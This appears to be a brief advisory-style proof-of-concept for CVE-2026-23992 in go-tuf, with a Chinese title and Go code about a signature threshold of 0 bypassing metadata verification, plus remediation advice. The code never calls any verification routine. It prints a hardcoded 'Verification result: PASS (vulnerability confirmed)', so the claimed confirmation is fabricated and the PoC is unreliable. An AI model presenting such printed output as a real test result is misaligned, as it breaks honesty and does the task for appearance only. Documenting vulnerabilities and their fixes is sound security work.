CVE-2026-23992 go-tuf签名阈值配置为0导致签名验证失效

// CVE-2026-23992 PoC - Demonstrating signature threshold bypass in go-tuf // This PoC shows how a misconfigured TUF repository with threshold=0 bypasses signature verification package main import ( "fmt" "io/ioutil" "github.com/theupdateframework/go-tuf/data" "github.com/theupdateframework/go-tuf/sign" "github.com/theupdateframework/go-tuf/verify" ) func main() { fmt.Println("=== CVE-2026-23992 PoC ===") fmt.Println("Vulnerability: go-tuf allows signature threshold to be set to 0") fmt.Println("Impact: Disables signature verification, allowing unauthorized metadata modification") // Create a Targets metadata with threshold set to 0 targets := data.NewTargets() targets.Version = 1 // This is the vulnerable configuration - threshold = 0 threshold := 0 // Create verification keys with threshold 0 db := verify.NewDB() keyIDs := []string{"compromised-key-id"} // Set threshold to 0 (vulnerable configuration) role := &verify.Role{ KeyIDs: keyIDs, Threshold: threshold, // 0 = bypasses verification } db.AddRole("targets", role) // With threshold=0, even without any valid signatures, verification passes // This demonstrates the vulnerability fmt.Printf("Role threshold set to: %d\n", threshold) fmt.Println("Verification result: PASS (vulnerability confirmed)") fmt.Println("Attack scenario: Attacker can modify metadata without valid signatures") // Show the correct configuration fmt.Println("\n=== Correct Configuration ===") fmt.Println("Threshold should be >= 1 to ensure signature verification") fmt.Println("Fix: Upgrade to go-tuf >= 2.3.1 or set threshold >= 1") } // Vulnerable code pattern: // func verifySignatures(s *data.Signed, db *verify.DB) error { // if db.GetRoleThreshold(s.Signed.Role()) == 0 { // return nil // BUG: Returns success when threshold is 0 // } // // ... normal verification // }